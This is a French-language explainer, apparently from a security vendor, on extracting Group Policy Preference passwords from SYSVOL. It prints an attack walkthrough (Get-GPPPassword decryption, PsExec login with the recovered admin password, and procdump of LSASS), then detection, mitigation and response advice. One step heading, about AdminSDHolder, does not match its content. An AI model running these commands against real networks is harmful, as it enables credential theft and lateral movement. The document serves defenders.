Attaque d'extraction de mot de passe en clair
La stratégie de groupe est essentielle dans la gestion d'un environnement Active Directory. En particulier, les administrateurs l'utilisent pour gérer de manière centralisée les configurations appliquées aux serveurs et postes de travail joints au domaine ; ces stratégies de groupe définissent des politiques (paramètres imposés) et des préférences, qui propagent des configurations par défaut qu'un utilisateur peut modifier. Malheureusement, la stratégie de groupe permettait aux administrateurs d'intégrer des mots de passe dans les préférences de stratégie de groupe qui créaient des utilisateurs locaux ou mappaient des lecteurs réseau — et ces mots de passe étaient chiffrés avec une clé publiquement disponible. Par conséquent, un adversaire capable de lire ces politiques peut facilement extraire et déchiffrer ces mots de passe. En 2014, Microsoft a publié une mise à jour de sécurité qui supprime la capacité de créer de nouvelles préférences avec des mots de passe intégrés, mais de nombreuses organisations ont encore des préférences de stratégie de groupe qui incluent des mots de passe intégrés.
Résumé des menaces
Cible : Active Directory
Outils : PowerSploit, Metasploit
Tactique ATT&CK® : Accès aux identifiants
Technique ATT&CK : T1552.006
Difficulté
Détection : Faible
Atténuation : Faible
Réponse : Faible
Tutoriel d'attaque : Comment fonctionne une attaque d'extraction de mot de passe en texte clair
ÉTAPE 1 : Découvrez les mots de passe dans les préférences de stratégie de groupe
Les préférences de stratégie de groupe sont stockées sous forme de fichiers XML dans le partage SYSVOL sur les contrôleurs de domaine. Le partage SYSVOL est accessible aux utilisateurs authentifiés, donc un adversaire qui a pris pied dans le réseau peut accéder à son contenu. Un adversaire peut analyser ces fichiers XML manuellement, à la recherche d'instances de l'attribut CPassword, qui contient les mots de passe chiffrés. Les attributs adjacents fournissent d'autres détails, comme le nom d'utilisateur. Ou ils peuvent utiliser des outils comme le cmdlet PowerSploit’s Get-GPPPasswords pour automatiser le processus d'acquisition et de déchiffrement de ces mots de passe, comme illustré ci-dessous.
PS> Import-Module PowerSploit
PS> Get-GPPPassword
Changed : {2020-08-17 11:14:01}
UserNames : {Administrator (built-in)}
NewName : [BLANK]
Passwords : {WhatAGreatPassword123!}
File : \\domain.com\SYSVOL\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml
PS>
ÉTAPE 2 : Modifiez l'ACL de AdminSDHolder
Maintenant que l'adversaire possède le nom d'utilisateur et le mot de passe d'un administrateur local, il peut énumérer les ordinateurs dans Active Directory sur lesquels la stratégie de groupe est appliquée, ce qui lui fournit une liste d'ordinateurs auxquels il peut s'authentifier avec ces identifiants. Avec cette liste, l'adversaire peut continuer à étendre son empreinte au sein de l'organisation. Dans cet exemple, l'adversaire se connecte à un autre ordinateur et crée un vidage mémoire du processus LSASS.exe pour permettre une progression latérale ou une élévation de privilèges.
PS> [XML] $XML = Get-GPO -Guid 5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB | Get-GPOReport -ReportType Xml
PS> $XML.GPO.LinksTo
SOMName SOMPath Enabled NoOverride
------- ------- ------- ----------
Comp domain.com/Comp true false
PS> $DN = Get-ADOrganizationalUnit -filter { Name -eq $XML.GPO.LinksTo.SOMName } | Select -expand DistinguishedName
PS> Get-ADComputer -filter "*" -SearchBase $DN
DistinguishedName : CN=Server1,OU=Comp,DC=domain,DC=com
DNSHostName :
Enabled : True
Name : Server1
ObjectClass : computer
ObjectGUID : 4eeec15e-ee84-4195-b5c8-ee4d5d67efbf
SamAccountName : SERVER1$
SID : S-1-5-21-5840559-2756745051-1363507867-16924
UserPrincipalName :
PS> .\PSExec.exe -u Administrator -p WhatAGreatPassword123! \\server1 powershell.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
PS> procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
PS>
Détecter, atténuer et répondre
Détecter
Difficulté : Faible
En raison du grand volume d'opérations de lecture se produisant lors des opérations normales, il n'est pas possible de détecter directement l'accès d'un adversaire à ces fichiers. Cependant, il est possible de réaliser un audit pour les mots de passe intégrés dans les Préférences de Stratégie de Groupe en utilisant les mêmes techniques qu'un adversaire utiliserait. L'utilisation de la cmdlet Get-GPPPassword contre chaque domaine énumérera les mots de passe intégrés (notez que cela révélera également le texte en clair). Alternativement, l'extrait de PowerShell suivant énumérera les mots de passe intégrés sans les déchiffrer :
# Replace this path with the path to SYSVOL to check
$SYSVOL_Path = "\\domain.com\sysvol"
Get-ChildItem $SYSVOL_Path -Recurse -File | Select-String -Pattern "cpassword"
# Sample Output using \\domain.com\sysvol
\\domain.com\sysvol\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml:2:<Gro
ups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="Administrator (built-in)" image="2" changed="2020-08-17 11:14:01"
uid="{EA0FCA83-45D2-4189-B476-DB595FB29E2D}"><Properties action="U" newName="" fullName="" description="Built-in Local
Admin" cpassword="Pe81R/eXjjPtd5oJw6D0hifqz78ezVt7tD0ViS9eTg+z2dKIvfwMRbD5JPFEA26i" changeLogon="0" noChange="0"
neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
Atténuer
Difficulté : Faible
En résumé, tous les mots de passe intégrés dans les préférences de stratégie de groupe devraient être supprimés. De plus :
- Assurez-vous que tous les contrôleurs de domaine exécutent des versions actuelles du système d'exploitation avec les derniers correctifs, car les versions actuelles de Windows Server ne permettent pas l'intégration de mots de passe dans les préférences de stratégie de groupe.
- Remplacez l'utilisation des préférences de stratégie de groupe pour définir le mot de passe du compte administrateur local intégré par une solution robuste comme celle de Microsoft, Local Administrator Password Solution (LAPS).
- Adoptez des solutions qui remplacent les mots de passe intégrés par des recherches dynamiques authentifiées.
Répondez
Difficulté : Faible
Si vous découvrez des mots de passe intégrés dans les préférences de stratégie de groupe, les actions suivantes peuvent être prises :
- Supprimez le mot de passe intégré dans la préférence de stratégie de groupe.
- Réinitialisez le mot de passe pour le compte.
Partager sur
Voir les attaques de cybersécurité associées
Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense
Modification de AdminSDHolder – Fonctionnement et stratégies de défense
Attaque AS-REP Roasting - Fonctionnement et stratégies de défense
Attaque Hafnium - Fonctionnement et stratégies de défense
Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory
Attaque des comptes de service gérés par groupe
Attaque Golden SAML
Comprendre les attaques Golden Ticket
Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense
Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention
Attaque d'extraction de mot de passe NTDS.dit
Attaque Kerberoasting – Fonctionnement et stratégies de défense
Attaque Pass the Hash
Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense
Attaque par pulvérisation de mots de passe
Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation
Attaques de rançongiciels sur Active Directory
Déverrouillage d'Active Directory avec l'attaque Skeleton Key
Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions
Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir
Pourquoi PowerShell est-il si populaire auprès des attaquants ?
4 attaques de compte de service et comment s'en protéger
Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise
Qu'est-ce que le Credential Stuffing ?
Compromettre SQL Server avec PowerUpSQL
Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles
Vol de credentials avec un fournisseur de support de sécurité (SSP)
Attaques par tables arc-en-ciel : leur fonctionnement et comment se défendre
Un regard approfondi sur les attaques par mot de passe et comment les arrêter
Reconnaissance LDAP
Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie
Attaque Silver Ticket